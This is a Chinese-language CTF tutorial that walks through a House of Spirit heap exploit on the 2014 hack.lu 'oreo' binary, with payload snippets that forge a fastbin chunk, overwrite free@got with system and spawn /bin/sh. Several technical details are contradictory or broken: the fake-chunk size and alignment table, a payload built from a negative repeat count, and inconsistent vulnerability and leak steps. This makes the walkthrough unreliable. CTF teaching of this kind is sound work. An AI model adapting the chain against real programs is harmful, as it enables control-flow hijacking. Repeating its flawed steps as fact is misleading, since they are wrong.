从CTF实战出发:手把手教你用House of Spirit伪造堆块并劫持GOT表(以2014 hack.lu oreo为例)

📅 2026/7/26 18:01:44 👁️ 阅读次数 📝 编程学习
从CTF实战出发:手把手教你用House of Spirit伪造堆块并劫持GOT表(以2014 hack.lu oreo为例)

从CTF实战拆解House of Spirit:伪造堆块的艺术与GOT劫持实战

在CTF的二进制攻防世界中,堆利用始终是最具挑战性的领域之一。当我在2019年第一次遇到House of Spirit(以下简称HoS)技术时,那种通过伪造堆块结构来控制程序执行流的精妙感,至今记忆犹新。不同于常规的堆溢出,HoS更像是一场精心设计的魔术表演——我们不需要直接修改任何堆管理数据结构,而是通过"欺骗"malloc返回一个完全由攻击者控制的假堆块,进而实现任意地址读写。本文将基于hack.lu CTF 2014年的经典赛题oreo,带您从零开始构建完整的攻击链,其中包含多个我在实际解题中踩过的坑和调试技巧。

1. 环境搭建与漏洞分析

1.1 题目环境配置

首先获取题目二进制文件和libc版本:

wget https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/heap/house-of-spirit/2014_hack.lu_oreo/oreo wget https://github.com/ctf-wiki/ctf-challenges/raw/master/pwn/heap/house-of-spirit/2014_hack.lu_oreo/libc.so.6

使用patchelf修复二进制依赖:

patchelf --set-interpreter /path/to/ld-linux.so.2 --replace-needed libc.so.6 ./libc.so.6 oreo

启动调试环境建议配置:

gdb -q ./oreo -ex "set environment LD_PRELOAD=./libc.so.6" -ex "b *0x08048A7C"

1.2 程序功能逆向分析

通过IDA Pro分析二进制文件,我们发现程序主要实现了一个简单的枪支管理系统:

  1. 添加枪支:malloc(0x38)分配结构体,存储枪支名称和描述
  2. 删除枪支:free后未清空指针(典型的UAF漏洞)
  3. 展示枪支:遍历链表输出所有枪支信息
  4. 订单功能:存在栈溢出漏洞但受限于长度

关键漏洞出现在删除功能中:

void delete_gun() { if (gun_count > 0) { free(gun_list[--gun_count]); // 没有置NULL } }

通过逆向我们还发现程序在0x0804A2A0处存储了一个全局的枪支列表指针数组,这将成为我们后续攻击的重要跳板。

2. House of Spirit技术核心原理

2.1 堆分配机制回顾

在glibc的malloc实现中,fastbin是最基础的分配机制之一。当请求大小在16到80字节(32位系统)之间时,malloc会优先从fastbin中寻找合适的内存块。关键特性包括:

  • 单链表结构(LIFO)
  • 仅检查size字段是否匹配当前fastbin索引
  • 不检查prev_inuse位或前后堆块完整性

HoS正是利用这些宽松的检查条件,通过以下步骤实现攻击:

  1. 在可控内存区域伪造一个合法的fastbin chunk
  2. 通过某种方式将这个假chunk放入fastbin链表
  3. 下次分配时malloc返回我们的假chunk
  4. 通过假chunk实现任意地址读写

2.2 伪造chunk的关键参数

要成功伪造一个能被malloc接受的chunk,必须满足以下条件:

字段32位要求64位要求备注
size0x40-0x7f0x40-0x7f必须对齐16字节边界
next chunksize > 2*SIZE_SZsize > 2*SIZE_SZ防止consolidate时检查失败
fd可写地址可写地址避免unlink时崩溃

在oreo这道题中,我们可以利用全局变量区作为伪造chunk的位置,因为:

  1. 地址固定已知(0x0804A2A0)
  2. 有足够的空间布置假chunk
  3. 后续可以通过程序功能修改这些内存

3. 构建完整攻击链

3.1 信息泄露与地址计算

首先需要泄露libc基址以计算system地址。通过以下步骤实现:

  1. 分配3个枪支对象(gun0, gun1, gun2)
  2. 释放gun1和gun0,使它们进入fastbin
  3. 分配新枪支,此时会复用gun0的内存
  4. 在gun0的description字段布置伪造的chunk头
  5. 展示枪支信息,泄露堆地址

关键payload构造:

add_gun("gun0", p32(0x41)+p32(0x0804A2A0)) add_gun("gun1", "B"*0x30) add_gun("gun2", "C"*0x30) delete_gun(1) delete_gun(0) add_gun("leak", "D"*16) # 复用gun0内存 show_guns() # 泄露0x0804A2A0地址

3.2 实施House of Spirit攻击

现在我们已经具备了所有必要条件:

  1. 知道全局变量区地址(0x0804A2A0)
  2. 能控制该区域的部分内容
  3. 程序存在UAF漏洞

具体攻击步骤:

  1. 在0x0804A2A0处布置伪造的fastbin chunk:
    • size字段设为0x40(对应fastbin索引)
    • fd指针指向一个可写地址(如0x0804A000)
fake_chunk = p32(0x40) + p32(0x0804A000) + "E"*0x38 add_gun("fake", fake_chunk)
  1. 通过UAF将伪造chunk链入fastbin:
delete_gun(0) # 此时fastbin: 0x0804A2A0 -> some_heap_addr
  1. 分配新枪支获取伪造chunk:
add_gun("hack", "F"*8) # 将返回0x0804A2A8(用户数据区)

3.3 GOT表劫持与shell获取

现在我们可以通过伪造的chunk修改GOT表。以劫持free@got为例:

  1. 确定free@got地址:0x0804A014
  2. 计算偏移:0x0804A014 - 0x0804A2A8 = -0x294
  3. 通过编辑功能修改内存:
payload = p32(system_addr) * (-0x294//4) edit_gun("hack", payload)
  1. 最后释放一个内容为"/bin/sh"的枪支:
add_gun("sh", "/bin/sh") delete_gun("sh") # 实际执行system("/bin/sh")

4. 调试技巧与常见问题排查

4.1 GDB实用命令

在实施HoS攻击时,这些命令特别有用:

# 查看fastbin状态 x/20wx 0x804B058 # arena->fastbinsY # 检查伪造chunk x/10i $eip # 查看当前执行流 x/10wx 0x0804A2A0 # 检查伪造chunk布局 # 关键断点设置 b *0x08048A7C # malloc内部调用点 b *0x08048AC1 # free调用点

4.2 典型错误与解决方案

  1. malloc(): memory corruption (fast)
    原因:伪造的size字段不符合fastbin要求
    解决:确保size在0x40-0x7f范围内且对齐16字节

  2. free(): invalid next size (fast)
    原因:next chunk的size字段太小
    解决:在伪造chunk后放置一个足够大的size值(如0x10000)

  3. 攻击后程序崩溃
    原因:GOT表劫持破坏了其他关键函数指针
    解决:精确计算偏移,只修改目标函数指针

5. 防御措施与进阶思考

现代glibc版本(2.32+)已经引入了更多安全检查机制:

  1. safe linking:对fastbin的fd指针进行异或加密
  2. 更严格的size检查:验证size与堆区域匹配性
  3. tcache机制:优先使用tcache而非fastbin

绕过这些保护需要结合其他技术:

  • 堆风水:精确控制堆布局
  • 部分写:利用字节级溢出修改关键数据
  • FSOP:结合文件流操作扩大攻击面

在实际CTF比赛中,HoS往往不是独立存在的,需要与以下技术结合使用:

  • ROP链构造:当无法直接劫持控制流时
  • 堆喷:提高攻击成功率
  • 类型混淆:绕过某些保护机制